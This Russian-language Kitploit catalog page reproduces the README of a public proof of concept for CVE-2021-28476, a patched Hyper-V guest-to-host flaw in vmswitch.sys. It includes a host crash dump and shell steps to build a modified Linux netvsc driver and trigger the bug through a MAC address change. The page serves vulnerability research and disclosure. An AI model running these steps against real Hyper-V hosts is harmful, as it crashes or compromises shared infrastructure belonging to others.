Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-28476 — PoC для CVE-2021-28476 — уязвимость удалённого выполнения кода в Hyper-V (с гостевой системы на хост) в vmswitch.sys. | Kitploit
Инструменты/GitHubGitHub/0vercl0k/cve-2021-28476
Анализ уязвимостейЭксплуатацияФаззингОбучение и ОбразованиеЭксплуатация Бинарных ФайловArchived
GitHub0vercl0k/cve-2021-28476

CVE-2021-28476

PoC для CVE-2021-28476 — уязвимость удалённого выполнения кода в Hyper-V (с гостевой системы на хост) в vmswitch.sys.

Репозиторий
226345 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-28476: уязвимость удаленного выполнения кода от гостя к хосту «Microsoft Hyper-V Remote Code Execution Vulnerability» в vmswitch.sys.

Это доказательство концепции для CVE-2021-28476 («Уязвимость удаленного выполнения кода Hyper-V»), произвольное чтение памяти в vmswitch.sys (провайдер сетевой виртуализации), исправленное Microsoft в мае 2021 года.

rel04vsrel05

Уязвимость была найдена @australeo, @ergot86, @peleghd и @OphirHarpaz. Она может быть вызвана отправкой вредоносного пакета RNDIS из гостевой виртуальной машины через VMBus (что является канальным механизмом связи, используемым для межпартиционного взаимодействия).

trigger

Вот как выглядит крах хоста в отладчике:

root@kitploit:~
*** Fatal System Error: 0x0000007e
                       (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc              int     3

kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
 r8=0000000000000000  r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20        mov     ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????

kd> kp
 # Child-SP          RetAddr               Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41     vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76     vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779     vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423     vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975     nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85     nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408     nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000     nt!KiStartSystemThread+0x28

Сама ошибка происходит в VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST — функции, которая может быть вызвана с данными, контролируемыми атакующим (чего не должно быть), и дважды разыменовывает указатель (boom->_win ниже), который может предоставить вредоносная гостевая виртуальная машина.

boom

Если вам это интересно, @peleghd и @OphirHarpaz будут подробно обсуждать это, а также процесс обнаружения в презентации BlackHat USA 2021 под названием hAFL1: Our Journey of Fuzzing Hyper-V and Discovering a 0-Day.

Запуск PoC

Самый простой способ запустить PoC — создать виртуальную машину Linux с последней версией Ubuntu Focal.

После этого клонируйте соответствующие исходники ядра:

root@kitploit:~
$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch

Замените ~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c на src/netvsc_drv.c, ~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c на src/rndis_filter.c и ~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h на src/hyperv_net.h (полный diff доступен в cve-2021-28476.diff):

root@kitploit:~
$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv

Наконец, вызовите проблему, загрузив модуль и изменив MAC-адрес сетевого интерфейса (это действие вызывает конкретный путь кода, добавленный нами в rndis_filter.c / netvsc_set_mac_addr):

root@kitploit:~
$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44

Авторы

  • Axel '@0vercl0k' Souchet
Скачать инструмент